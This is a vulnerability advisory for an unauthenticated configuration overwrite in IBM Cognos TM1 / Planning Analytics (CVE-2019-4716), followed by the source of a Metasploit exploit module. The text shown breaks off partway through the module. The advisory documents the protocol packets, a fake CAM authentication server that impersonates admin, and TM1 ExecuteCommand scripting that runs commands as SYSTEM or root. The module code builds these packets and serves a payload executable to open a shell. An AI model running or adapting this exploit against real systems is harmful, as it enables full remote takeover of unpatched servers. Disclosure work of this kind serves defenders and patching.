IBM Cognos TM1 Server / Planning Analytics Server (TM1) suffers from a configuration overwrite vulnerability that can be leveraged to achieve code execution as SYSTEM via TM1 scripting. Extensive research is included in this advisory as well as the Metasploit module.
d010aadf91fbdd90b9c6b2e2854fbafcHi,
Here's a fun one I have been working on for some time.
tl;dr IBM PA / TM1, dating back to 2014, maybe 2009 is vulnerable to a unauthenticated configuration overwrite; this is abused to "fake authenticate" to it, and finally execute code as root / SYSTEM using TM1 scripting.
Advisory below, permalink in:
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-tm1-rce.txt
Exploit:
https://github.com/rapid7/metasploit-framework/pull/13152
Have fun!
===========
>> Configuration Overwrite in IBM Cognos TM1 / IBM Planning Analytics Server
>> Discovered by Pedro Ribeiro ([email protected]), Agile Information Security (http://www.agileinfosec.co.uk/)
==========================================================================
Disclosure: 17/12/2019 / Last updated: 27/03/2020
>> Executive Summary:
IBM Cognos TM1 Server / Planning Analytics Server (TM1) is an Enterprise Resource Planning (ERP) software, currently owned by IBM, which has been in existence since 1983. The server provides complex primitives to process data from several different sources, query and display it in Excel spreadsheets, graphs, etc.
TM1 has two main components: the Admin server and the Application server(s). The Admin server stores information about the location and configuration details of Application servers. Each application is deployed in its own Application server. An application is a collection of data, objects and processes, which can be queried and modified in a number of ways through client programs such as IBM TM1 Architect, a REST API, remote scripts, etc. TM1 server can be run on Windows or Linux operating systems.
The vulnerability described in this advisory affect the Application server component. The Application server requires authentication to perform most functions, but this vulnerability can be exploited pre-authentication.
The critical vulnerability is a configuration overwrite that allows an unauthenticated user to login as "admin", and then execute code as root or SYSTEM via TM1 scripting. This vulnerability has been assigned CVE-2019-4716, and was fixed with the release of IBM Planning Analytics 2.0.9 on 17th of December 2019 (refer to the IBM advisory for details [1]).
A Metasploit exploit module that abuses this vulnerability was released, and will be integrated in the Metasploit framework soon ([2]). This exploit was tested and confirmed to be working on all TM1 versions until at least 10.2.2, released in 2014. It is likely that older versions, possibly up to 8.X, are also vulnerable.
Readers are encouraged to contact the author to share success stories.
A special thanks to CERT/CC for assisting with the disclosure of this vulnerability, and to Gareth Batchelor of Cloudtrace for doing real world testing of the exploit.
>> Vendor Description [3]:
IBM Planning Analytics, powered by IBM TM1, is an integrated planning solution designed to promote collaboration across the organization and help keep pace with the speed of modern business. With a powerful calculation engine, this enterprise performance management solution helps you move beyond the limits of spreadsheets, automating the planning process to drive faster, more accurate results. Simplify oceans of data by unifying data sources into one single repository and empowering users to build sophisticated, multidimensional models that drive more reliable forecasts.
>> Technical Introduction:
The TM1 Application server and Admin server communicate between themselves and between the client applications in two ways: either through a REST API or through a binary protocol. The REST API is optional but the binary protocol is set up by default upon installation.
The binary protocol message layout is described below:
packet_size (2 bytes) sizeof(packet_header + message_type + message_data + packet_end)
packet_header (4 bytes) [ 0, 0, 0xff, 0xff ]
message_type (2 bytes) 0x1 to 0x1e2
message_data (X bytes) actual message
packet_end (2 bytes) [ 0xff, 0xff ]
The message_type component contains the number of the remote method being invoked. message_data will vary according to each method.
For example, an authentication request is as follows:
auth_packet =
packet_size +
packet_header +
message_type_auth +
empty_auth_obj +
application_name +
username +
password +
client_ip +
auth_trailer +
packet_end
All of the components defined above, except for packet_size, packet_header, message_type_auth and packet_end, are encapsulated in defined protocol objects.
For example, if the application we are sending a message to is called app, the application_name component would look like this:
[ 0xe, 0, 3, 0x61, 0x70, 0x70 ]
0xe indicates the object type, which is a string. The next two bytes are the size of the string - 0x03 bytes in total, and the remaining bytes are the ASCII codes for "app".
The following objects are defined in the protocol:
0x2: ASCII string
0x3: Index
0x4: Boolean
0x5: Object Pointer
0x7: Array
0xe: UTF8 string
0xf: binary string
Most object types are self explanatory, except for the Object Pointer. While the name seems very interesting from an exploitation point of view, this type does not represent a pointer in memory, but simply a numeric reference to a remote object that is created in the server.
Note that the protocol was not reversed extensively, just enough to achieve exploitation of the vulnerabilities described in this advisory. There are plenty of details that were not researched due to lack of time.
Going back to the authentication request, the actual packet data would look like this:
auth_packet =
# packet_size
sizeof(auth_packet) +
# packet_header
[ 0, 0, 0xff, 0xff ] +
# message_type_auth
[ 0, 1 ] +
# empty_auth_obj
[ 5, 3, 0, 0, 0, 0, 0, 0, 0 ] +
# application_name ("app")
[ 0xe, 0, 3, 0x61, 0x70, 0x70 ] +
# username ("admin")
[ 0xe, 0, 5, 0x61, 0x64, 0x6d, 0x69, 0x6e ] +
# password (encoded)
[ 0xf, 0, 5, 0xfa, 0x64, 0x78, 0x7b, 0xad ] +
# client_ip
[ 0xe, 0, 7, 0x31, 0x2e, 0x31, 0x2e, 0x31, 0x2e, 0x31 ] +
# client_version
[ 3, 6, 0x94, 0x92, 0x00 ] +
# packet_end
[ 0xff, 0xff ]
Of the objects above, we will go through the ones that are not self-explanatory, starting with empty_auth_object.
In a message that would call another function (different message_type), empty_auth_object would contain a object number used by the server to verify authentication (see auth_object in the next protocol packet example). This object number is returned upon successful authentication, and sent by the client in every subsequent request. Since this is the authentication function we just send all zeroes.
The password is encoded as a binary string. This is because it is "hashed" (actually encoded) before being sent over the wire. client_version is a hex number that specifies the version of the client performing the login: 0x6949200 = 110400000, or version 11.4 in this case.
If this authentication request was successful, the server would return the following:
auth_response =
# packet_size
sizeof(auth_response) +
# packet_header
[ 0, 0, 0xff, 0xff ] +
# auth_object
[ 5, 3, 0xc3, 0x80, 0, 0xe, 0xdd, 0, 0 ] +
# packet_end
[ 0, 0 ]
After receiving this packet, the client would then be able to call other functions in the server by providing the auth_object returned by the server in this message.
The TM1 protocol contains several authentication methods. The one that was just described is the simplest one, username and password. There is another method that authenticates with LDAP, another with certificates, Kerberos, etc.
These methods can obviously be called pre-authentication; however there are a handful of other, non-authentication methods that can also be called before authenticating to the server. Most of these are harmless, but as we will see in the Vulnerability Details, there is one in particular that can be abused.
The protocol is complex, but the details described above are enough to understand the vulnerabilities described in this advisory.
The REST API was not explored in much detail. Since the binary protocol is the one enabled by default, it was chosen as the focus of this research.
The function names listed in this advisory are symbols in the tm1s.exe binary from a Linux installation of IBM Planning Analytics 2.0.6, which is the binary that runs the Application server instances. The binary is configured using a tm1s.cfg file that lives in the same directory as the application data.
Application servers can run on arbitrary ports and use arbitrary names. However, the names, ports and TLS configuration can be obtained by querying the Admin server, as the other Cognos client / desktop applications do, and this is actually used in the exploit released with this advisory ([2]).
>> Vulnerability Details:
Missing Authentication for Critical Function (CWE-306)
CVE-2019-4716
Risk Classification: Critical
Attack Vector: Remote
Constraints: None
Affected products / versions:
- IBM Cognos TM1 versions 10.2.2 (older versions as low as 8.X might be vulnerable)
- IBM Planning Analytics versions <= 2.0.8
One of the remote methods that can be called pre-authentication is named sv_ProcessUpdateFromCentral() (message_type 0x1ae). The purpose of this method is to update application data and server variables according to the requests of a central server when TM1 is deployed in distributed mode.
These server variables contain critical configuration data - for example, even JAVA_HOME can be altered using this function by an unauthenticated attacker.
The packet format is as follows:
update_packet =
# packet_header
[ 0, 0, 0xff, 0xff ] +
# message_type_update
[ 0x1, 0xae ] +
# empty_auth_obj
[ 5, 3, 0, 0, 0, 0, 0, 0, 0 ] +
# defines an Array of 7 elements
[ 7, 0, 0, 0, 7 ] +
# first array object, Index (required; unknown why but fixed value seems to work)
[ 3, 0, 0, 0, 2 ] +
# second array object, Index (required; unknown why but fixed value seems to work)
[ 3, 0, 0, 0, 2 ] +
# third array object, Index (required; unknown why but fixed value seems to work)
[ 3, 0, 0, 0, 2 ] +
# application_name ("app"); however it can be a random string
[ 0xe, 0, 3, 0x61, 0x70, 0x70 ] +
# file_name ("tm1s_delta.cfg")
[ 0xe, 0, 0xa, 0x74, 0x6d, 0x31, 0x73, 0x5f, 0x64, 0x65, 0x6c, 0x74, 0x61, 0x2e, 0x63, 0x66, 0x67 ] +
# file_data, binary type 0xf
<REMOVED> +
# timestamp, string type 0xe; can be a random string
<REMOVED> +
# packet_end
[ 0xff, 0xff ]
The file_name object above was set to "tm1s_delta.cfg" as that is what the remote method expects. If that file_name is provided, the server will read the file_data object, process its configuration updates and delete the file. This is done through a series of function calls:
sv_ProcessUpdateFromCentral() <-- message_type 0x1ae invokes this function
ProcessAllUpdates() <-- file_data is created and deleted here, application variables are processed
MergeDynamicConfigParameters() <-- if a tm1s_delta.cfg file was sent, process it
srv_Config() <-- ... and update server variables
If a different file name is provided, file_data will not be processed; however it will still be written to disk under <app_base>/data/}distributedupdates/<file_name> as root and with execute permissions, but will deleted as soon as the method terminates.
Luckily for the attacker, if we insert path traversal characters "../../" in the file_name, the file will be written to other directories and it will not be deleted when the remote method terminates.
There are multiple ways to exploit this vulnerability. Firstly, there is a clear race condition described above. This could be exploited by replacing /etc/shadow on Linux and logging in via SSH or by dropping a file in the TM1 Java REST server and executing it.
Secondly, we can update several global configuration variables, which are copied into the globals section of the tm1s.exe binary. From then on, they are used in several other functions, and these functions blindly trust the data in the global variables with few length checks, meaning it is possible to find and exploit several buffer overflows in this way.
In the end, it was decided to actually use the built-in server scripting to achieve unauthenticated remote code execution in a reliable way without memory corruption, so that the exploit doesn't need modification for different versions and platforms.
=========================
Bypassing authentication:
=========================
There are several methods to authenticate to the Application servers. A simple user / password combo can be configured, LDAP authentication, Kerberos authentication, etc. This is controlled by the variable "IntegratedSecurityMode", which is set in the "tm1s.cfg" Application server configuration file, which can be modified as per the method described previously.
The "CAM" authentication method is unique to TM1, and it is a SOAP protocol based authentication to a remote server. Using the configuration variable overwriting, we can modify several values to force the Application server to authenticate to a CAM server that we control.
To authenticate and impersonate any user in the server we need to:
a) start a "fake" CAM server
b) modify the configuration in TM1 to authenticate using CAM, and point it to our fake CAM server
c) authenticate to TM1 using the CAM method
d) fake CAM server responds with valid account and session objects for a pre-existing account in the server (such as "admin")
e) TM1 grants us a session token (auth object)
Step a) is simple; we need to start a SOAP server that responds in accordance to the CAM protocol. More on that below.
In step b), we need to update the following configuration variables:
IntegratedSecurityMode=4
ServerCAMURI=http://<HOST>:<PORT>
ServerCAMURIRetryAttempts=10
ServerCAMIPVersion=ipv4
CAMUseSSL=F
In step c), we authenticate using message_type_cam (0x8), which invokes the sv_SystemServerConnectWithCAMPassport() function.
This authentication call will invoke several other functions, notably and , which will trigger 3 requests to our CAM server that we set up in a).
Starting step d), in the first request, the CAM server has to answer with the account info, containing a valid username:
<item xsi:type="bus:account">
<defaultName><value>admin</value></defaultName>
</item>
In the second request, the CAM server has to reply with the session info, which again has to contain a valid username:
<item xsi:type="bus:session">
<identity>
<value baseClassArray xsi:type="SOAP-ENC:Array" SOAP-ENC:arrayType="tns:baseClass[3]">
<item xsi:type="bus:account">
<searchPath><value>admin</value></searchPath>
</item>
</value>
</identity>
</item>
As for the third request, we can send random data inside the SOAP envelope, as it is not needed for successful authentication.
Finally, if the username we provided in the XML returned by the CAM server exists in the Application server ("admin" is a safe bet since it has full privileges and always exists), in step e) we get a valid auth_object such as [ 5, 3, 0xc3, 0x80, 0, 0xe, 0xdd, 0, 0 ].
A simplified call tree is shown below:
sv_SystemServerConnectWithCAMPassport() <-- function invoked with message_type_cam (0x8)
GetClientWithCAMPassport() <-- sets up CAM server URL, SSL and connection properties
CreateCAMUser() <-- calls the CAM server twice and returns a CT1CAMUser object
QueryNameSpace() <-- performs a third call to the CAM server, which can be ignored
GetClientByName() <-- fetches a TM1Client object with the CT1CAMUser username
(...) <-- if GetClientByName() succeeds, returns an auth_object
=========================
Achieving code execution:
=========================
Once we are authenticated as "admin", achieving remote code execution is easy. One of the remote methods that can only be invoked by administrators is "sv_ProcessExecuteEx()" (message_type 0xc4), which despite the name does not execute operating system processes, but executes TM1 language scripts which can be defined by the user [4] [5].
However TM1 has a script language primitive named "ExecuteCommand", which will indeed execute operating system commands as the server user, which is root in Linux and SYSTEM in Windows [6].
In order to achieve command execution we need to:
f) create a TM1 script Process object in the server by invoking sv_ProcessCreateEmpty() (message_type 0x9c)
g) add the ExecuteCommand primitive, and our command inside in the Process object by invoking sv_ObjectPropertySet() (message_type 0x25)
g) register the Process object on the server by invoking sv_ObjectRegister() (message_type 0x21)
h) invoke the Process object with sv_ProcessExecuteEx() (message_type 0xc4)
... which will then execute our command, resulting in the complete compromise of the TM1 server host by an unauthenticated attacker.
The only thing left to say is that in the exploit provided with this advisory [2], we initially retrieve the current authentication method by querying the server status (message_type_config, 0x135). At the end of the exploit, after we have achieved code execution, we clean up the variables we set up and restore the original authentication method.
Due to the complexity of the protocol and exploit, many details were left out of this advisory in order to facilitate comprehension. More insight can be gained by reading the publicly released exploit [2].
>> Solutions / Vulnerability Fixes / Mitigation:
- Follow IBM's recommendations at [1] and upgrade to the latest IBM Planning Analytics 2.0.9.
- Do not expose TM1 / Planning Analytics to the Internet.
>> Disclaimer:
Please note that Agile Information Security (Agile InfoSec) relies on information provided by the vendor when listing fixed versions or products. Agile InfoSec does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so.
Unconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerabilities found by Agile Information Security are resolved properly.
Agile Information Security Limited does not accept any responsibility, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory.
It is the vendor's responsibility to ensure their products' security before, during and after release to market.
>> References:
[1] https://www.ibm.com/support/pages/node/1127781
[2] https://github.com/rapid7/metasploit-framework/pull/13152
[3] https://www.ibm.com/products/planning-analytics
[4] https://www.ibm.com/support/knowledgecenter/en/SSD29G_2.0.0/com.ibm.swg.ba.cognos.tm1_ref.2.0.0.doc/c_tm1turbointegratorfunctions_n70006.html
[5] https://www.ibm.com/support/knowledgecenter/SSD29G_2.0.0/com.ibm.swg.ba.cognos.tm1_ref.2.0.0.doc/r_tm1_ref_tifun_executeprocess.html?view=embed
[6] https://www.ibm.com/support/knowledgecenter/SSD29G_2.0.0/com.ibm.swg.ba.cognos.tm1_ref.2.0.0.doc/r_tm1_ref_tifun_executecommand.html?view=embed
All information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3).
For information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails.
For more information check https://www.gnu.org/licenses/gpl-3.0.en.html
================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business.
--
Pedro Ribeiro
Vulnerability and Reverse Engineer / Cyber Security Specialist
[email protected]
PGP: 4CE8 5A3D 133D 78BB BC03 671C 3C39 4966 870E 966C
------------------------------------------------------------------------
Metasploit exploit module ibm_tm1_unauth_rce.rb:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "",
'Description' => %q{
This module exploits a vulnerability in IBM TM1 / Planning Analytics that allows
an unauthenticated attacker to perform a configuration overwrite.
It starts by quering the Admin server for the available applications, picks one,
and then exploits it. You can also provide an application name to bypass this.
The configuration overwrite is used to change an application server authentication
method to "CAM", a proprietary IBM auth method, which is simulated by the exploit.
The exploit then performs a fake authentication as admin, and finally abuses TM1
scripting to perform a command injection as root or SYSTEM.
Testing was done on IBM PA 2.0.6 and IBM TM1 10.2.2 on Windows and Linux.
Versions up to and including PA 2.0.8 are vulnerable. It is likely that versions
earlier than TM1 10.2.2 are also vulnerable (10.2.2 was released in 2014).
The RPOR
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <[email protected]>',
# Vulnerability discovery and Metasploit module
'Gareth Batchelor <[email protected]>'
# Real world exploit testing and feedback
],
'References' =>
[
[ 'CVE', '2019-4716' ],
[ 'URL', 'https://www.ibm.com/support/pages/node/1127781' ],
[ 'URL', 'GITHUB' ],
[ 'URL', 'FULL_DISC' ]
],
'Arch' =>
[
ARCH_X86,
ARCH_X64
],
'Targets' =>
[
[ '(Windows) IBM TM1 <= 10.2.2 / Planning Analytics <= 2.0.8',
{ 'Platform' => 'win' }
],
[ '(Linux) IBM TM1 <= 10.2.2 / Planning Analytics <= 2.0.8',
{ 'Platform' => 'linux' }
],
],
'Stance' => Msf::Exploit::Stance::Aggressive,
# we need this to run in the foreground
'DefaultOptions' =>
{
# give the target lots of time to download the payload
'WfsDelay' => 30,
},
'Privileged' => true,
'DisclosureDate' => "Dec 19 2019",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(5498),
OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
])
register_advanced_options [
OptString.new('APP_NAME', [false, 'Name of the target application']),
OptInt.new('AUTH_ATTEMPTS', [true, "Number of attempts to auth to CAM server", 10]),
]
end
## Packet structure start
# these are client message types
MSG_TYPES = {
:auth => [ 0x0, 0x1 ],
:auth_uniq => [ 0x0, 0x3 ],
:auth_1001 => [ 0x0, 0x4 ],
:auth_cam_pass => [ 0x0, 0x8 ],
:auth_dist => [ 0x0, 0xa ],
:obj_register => [ 0, 0x21 ],
:obj_prop_set => [ 0, 0x25 ],
:proc_create => [ 0x0, 0x9c ],
:proc_exec => [ 0x0, 0xc4 ],
:get_config => [ 0x1, 0x35 ],
:upd_clt_pass => [ 0x1, 0xe2 ],
:upd_central => [ 0x1, 0xae ],
}
# packet header is universal for both client and server
PKT_HDR = [ 0, 0, 0xff, 0xff ]
# pkt end marker (client only, server responses do not have it)
PKT_END = [ 0xff, 0xff ]
# empty auth object, used for operations that do not require auth
AUTH_OBJ_EMPTY = [ 5, 3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]
# This is actually the client version number
# 0x6949200 = 110400000 in decimal, or version 11.4
# The lowest that version 11.4 seems to accept is 8.4, so leave that as the default
# 8.4 = 0x4CACE80
# 9.1 = 0x55ED120
# 9.4 = 0x5636500
# 10.1 = 0x5F767A0
# 10.4 = 0x5FBFB80
# 11.1 = 0x68FFE20
# 11.4 = 0x6949200
#
# If something doesn't work, try using one of the values above, but bear in mind this module
# was tested on 10.2.2 and 11.4,
VERSION = [ 0x03, 0x04, 0xca, 0xce, 0x80 ]
## Packet structure end
## Network primitives start
# unpack a string (hex string to array of bytes)
def str_unpack(str)
arr = []
str.scan(/../).each do |b|
arr += [b].pack('H*').unpack('C*')
end
arr
end
# write strings directly to socket; each 2 string chars are a byte
def sock_rw_str(sock, msg_str)
sock_rw(sock, str_unpack(msg_str))
end
# write array to socket and get result
# wait should also be implemented in msf
def sock_rw(sock, msg, ignore = false, wait = 0)
sock.write(msg.pack('C*'))
if not ignore
if wait != 0
sleep(wait)
end
recv_sz = sock.read(2).unpack('H*')[0].to_i(16)
bytes = sock.read(recv_sz-2).unpack('H*')[0]
bytes
end
end
def sock_r(sock)
recv_sz = sock.read(2).unpack('H*')[0].to_i(16)
bytes = sock.read(recv_sz-2).unpack('H*')[0]
bytes
end
def get_socket(app_host, app_port, ssl = 0)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp(
{ 'PeerHost' => app_host, 'PeerPort' => app_port, 'Context' => ctx, 'Timeout' => 10 }
)
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
sock.close if sock
end
if sock.nil?
fail_with(Failure::Unknown, 'Failed to connect to the chosen application')
end
if ssl == 1
# also need to add support for old ciphers
ctx = OpenSSL::SSL::SSLContext.new
ctx.min_version = OpenSSL::SSL::SSL3_VERSION
ctx.security_level = 0
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
s = OpenSSL::SSL::SSLSocket.new(sock, ctx)
s.sync_close = true
s.connect
return s
end
return sock
end
## Network primitives end
## Packet primitives start
def pack_sz(sz)
[sz].pack('n*').unpack('C*')
end
# build a packet, ready to send
def pkt_build(msg_type, auth_obj, contents)
pkt = PKT_HDR + msg_type + auth_obj + contents + PKT_END
pack_sz(pkt.length + 2) + pkt
end
# extracts the first object from a server response
def obj_extract(res)
arr = str_unpack(res)
# ignore packet header (4 bytes)
arr.shift(PKT_HDR.length)
if arr[0] == 5
# this is an object, get the type (1 byte) plus the object bytes (9 bytes)
obj = Array.new
obj = arr[0..9]
obj
end
end
# adds a string to a packet
# C string = 0x2; utf string = 0xe; binary = 0xf
def stradd(str, type = 0xe)
arr = [ type ] # string type
arr += pack_sz(str.length)
arr += str.unpack('C*')
arr
end
# packs binary data into an array
def datapack(data)
arr = []
data.chars.each do |d|
arr << d.ord
end
arr
end
def binadd(data)
arr = [ 0xf ] # binary type 0xf
arr += pack_sz(data.length) # 2 byte size
arr += datapack(data) # ... and add the data
end
def get_str(data)
s = ""
while data[0] != '"'.ord
data.shift
end
data.shift
while data[0] != '"'.ord
s += data[0].chr
data.shift
end
# comma
data.shift
s
end
# This fetches the current IntegratedSecurityMode from a packet such as
# 0000ffff070000000203000000 01 07000000020e00000e0000 (1)
# 0000ffff070000000203000000 02 07000000020e00000e00084b65726265726f73 (2)
# 0000ffff070000000203000000 06 07000000010e0000 (6)
def get_auth(data)
# make it into an array
data = str_unpack(data)
if data.length > 13
# skip 13 bytes (header + array indicator + index indicator)
data.shift(13)
# fetch the auth method byte
data[0]
end
end
def update_auth(auth_method, restore = false)
# first byte of data is ignored, so add an extra space
if not restore
# To enable CAM server authentication over SSL, the CAM server certificate has to be previously
# imported into the server. Since we can't do this, disable SSL in the fake CAM.
srv_config = " IntegratedSecurityMode=#{auth_method}\n" +
"ServerCAMURI=http://#{srvhost}:#{srvport}\n" +
"ServerCAMURIRetryAttempts=10\nServerCAMIPVersion=ipv4\n" +
"CAMUseSSL=F\n"
else
srv_config = " IntegratedSecurityMode=#{auth_method}"
end
arr =
[ 3 ] + [ 0, 0, 0, 2 ] + # no idea what this index is
[ 3 ] + [ 0, 0, 0, 2 ] + # same here
[ 3 ] + [ 0 ] * 4 + # same here
stradd(rand_text_alpha(5..12)) + # same here...
stradd("tm1s_delta.cfg") + # update file name
binadd(srv_config) + # file data
stradd(rand_text_alpha(0xf)) # last sync timestamp, max len 0xf
upd_auth = pkt_build(
MSG_TYPES[:upd_central],
AUTH_OBJ_EMPTY,
[ 7 ] + # array type
[ 0, 0, 0, 7 ] + # array len (fixed size of 7 for this pkt)
arr
)
upd_auth
end
## Packet primitives end
## CAM HTTP functions start
def on_request_uri(cli, request)
xml_res = %{<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns1="http://developer.cognos.com/schemas/dataSourceCommandBlock/1/" xmlns:bus="http://developer.cognos.com/schemas/bibus/3/" xmlns:cm="http://developer.cognos.com/schemas/contentManagerService/1" xmlns:ns10="http://developer.cognos.com/schemas/indexUpdateService/1" xmlns:ns11="http://developer.cognos.com/schemas/jobService/1" xmlns:ns12="http://developer.cognos.com/schemas/metadataService/1" xmlns:ns13="http://developer.cognos.com/schemas/mobileService/1" xmlns:ns14="http://developer.cognos.com/schemas/monitorService/1" xmlns:ns15="http://developer.cognos.com/schemas/planningAdministrationConsoleService/1" xmlns:ns16="http://developer.cognos.com/schemas/planningRuntimeService/1" xmlns:ns17="http://developer.cognos.com/schemas/planningTaskService/1" xmlns:ns18="http://developer.cognos.com/schemas/reportService/1" xmlns:ns19="http://developer.cognos.com/schemas/systemService/1" xmlns:ns2="http://developer.cognos.com/schemas/agentService/1" xmlns:ns3="http://developer.cognos.com/schemas/batchReportService/1" xmlns:ns4="http://developer.cognos.com/schemas/dataIntegrationService/1" xmlns:ns5="http://developer.cognos.com/schemas/dataMovementService/1" xmlns:ns6="http://developer.cognos.com/schemas/deliveryService/1" xmlns:ns7="http://developer.cognos.com/schemas/dispatcher/1" xmlns:ns8="http://developer.cognos.com/schemas/eventManagementService/1" xmlns:ns9="http://developer.cognos.com/schemas/indexSearchService/1">
<SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<cm:queryResponse>
<result baseClassArray xsi:type="SOAP-ENC:Array" SOAP-ENC:arrayType="tns:baseClass[1]">
PLACEHOLDER
</result>
</cm:queryResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>}
session =
%Q{ <item xsi:type="bus:session">
<identity>
<value baseClassArray xsi:type="SOAP-ENC:Array" SOAP-ENC:arrayType="tns:baseClass[1]">
<item xsi:type="bus:account">
<searchPath><value>admin</value></searchPath>
</item>
</value>
</identity>
</item>}
account =
%Q{ <item xsi:type="bus:account">
<defaultName><value>admin</value></defaultName>
</item>}
headers = { "SOAPAction" => "\"http://developer.cognos.com/schemas/contentManagerService/1\""}
if request.body.include? "<searchPath>/</searchPath>"
print_good("CAM: Received first CAM query, responding with account info")
response = xml_res.sub('PLACEHOLDER', account)
elsif request.body.include? "<searchPath>~~</searchPath>"
print_good("CAM: Received second CAM query, responding with session info")
response = xml_res.sub('PLACEHOLDER', session)
elsif request.body.include? "<searchPath>admin</searchPath>"
print_good("CAM: Received third CAM query, responding with random garbage")
response = rand_text_alpha(5..12)
elsif request.method == "GET"
print_good("CAM: Received request for payload executable, shell incoming!")
response = @pl
headers = { "Content-Type" => "application/octet-stream" }
else
print_error("CAM: received unknown request")
end
send_response(cli, response, headers)
end
## CAM HTTP functions end
def restore_auth(app, auth_current)
print_status("Restoring original authentication method #{auth_current}")
upd_cent = update_auth(auth_current, true)
s = get_socket(app[2], app[3], app[5])
sock_rw(s, upd_cent, true)
s.close
end
def exploit
# first let's check if SRVHOST is valid
if datastore['SRVHOST'] == "0.0.0.0"
fail_with(Failure::Unknown, "Please enter a valid IP address for SRVHOST")
end
# The first step is to query the administrative server to see what apps are available.
# This action can be done unauthenticated. We then list all the available app servers
# and pick a random one that is currently accepting clients. This step is important
# not only to know what app servers are available, but also to know if we need to use
# SSL or not.
# The admin server is usually at 5498 using SSL. Non-SSL access is disabled by default, but when enabled, it's available at port 5495
#
# Step 1: fetch the available applications / servers from the Admin server
# ... if the user did not enter an APP_NAME
if datastore['APP_NAME'].nil?
connect
print_status("Connecting to admin server and obtaining application data")
# for this packet we use string type 0xc (?) and cut off the PKT_END
pkt_control = PKT_HDR + [0] + stradd(lhost, 0xc)
pkt_control = pack_sz(pkt_control.length + 2) + pkt_control
data = sock_rw(sock, pkt_control)
disconnect
if data
# now process the response
apps = []
data = str_unpack(data)
# ignore packet header (4 bytes)
data.shift(PKT_HDR.length)
# now just go through the list we received, sample format below
# "24retail","tcp","10.11.12.123","17414","1460","1","127.0.0.1,127.0.0.1,127.0.0.1","1","0","","","","0","","0","","ipv4","22","0","2","http://centos7.doms.com:8014","8014"
# "GO_New_Stores","tcp","10.11.12.123","45557","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","23","0","2","https://centos7.doms.com:5010","5010"
# "GO_Scorecards","tcp","10.11.12.123","44321","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:44312","44312"
# "Planning Sample","tcp","10.11.12.123","12345","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:12354","12354"
# "proven_techniques","tcp","10.11.12.123","53333","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:5011","5011"
# "SData","tcp","10.11.12.123","12346","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:8010","8010"
while data != nil and data.length > 2
# skip the marker (0x0, 0x5) that indicates the start of a new app
data = data[2..-1]
# read the size and fetch the data
size = (data[0..1].pack('C*').unpack('H*')[0].to_i(16))
data_next = data[2+size..-1]
data = data[2..size]
# first is application name
app_name = get_str(data)
# second is protocol, we don't care
proto = get_str(data)
# third is IP address
ip = get_str(data)
# app port
port = get_str(data)
# mtt maybe? don't care
mtt = get_str(data)
# not sure, and don't care
unknown = get_str(data)
# localhost addresses? again don't care
unknown_addr = get_str(data)
# I think this is the accepting clients flag
accepts = get_str(data)
# and this is a key one, the SSL flag
ssl = get_str(data)
# the leftover data is related to the REST API *I think*, so we just ignore it
print_good("Found app #{app_name} #{proto} ip: #{ip} port: #{port} available: #{accepts} SSL: #{ssl}")
apps.append([app_name, proto, ip, port.to_i, accepts.to_i, ssl.to_i])
data = data_next
end
else
fail_with(Failure::Unknown, 'Failed to obtain application data from the admin server')
end
# now pick a random application server that is accepting clients via TCP
app = apps.sample
total = apps.length
count = 0
# TODO: check for null return here, and probably also response size > 0x20
while app[1] != "tcp" and app[4] != 1 and count < total
app = apps.sample
count += 1
end
if count == total
fail_with(Failure::Unknown, 'Failed to find an application we can attack')
end
print_status("Picked #{app[0]} as our target, connecting...")
else
# else if the user entered an APP_NAME, build the app struct with that info
ssl = datastore['SSL']
app = [datastore['APP_NAME'], 'tcp', rhost, rport, 1, (ssl ? 1 : 0)]
print_status("Attacking #{app[0]} on #{peer} as requested with TLS #{ssl ? "on" : "off"}")
end
s = get_socket(app[2], app[3], app[5])
# Step 2: get the current app server configuration variables, such as the current auth method used
get_conf = stradd(app[0])
get_conf += VERSION
auth_get = pkt_build(MSG_TYPES[:get_config], AUTH_OBJ_EMPTY, get_conf)
data = sock_rw(s, auth_get)
auth_current = get_auth(data)
print_good("Current auth method is #{auth_current}, we're good to go!")
s.close
# Step 3: start the fake CAM server / exploit server
@pl = generate_payload_exe
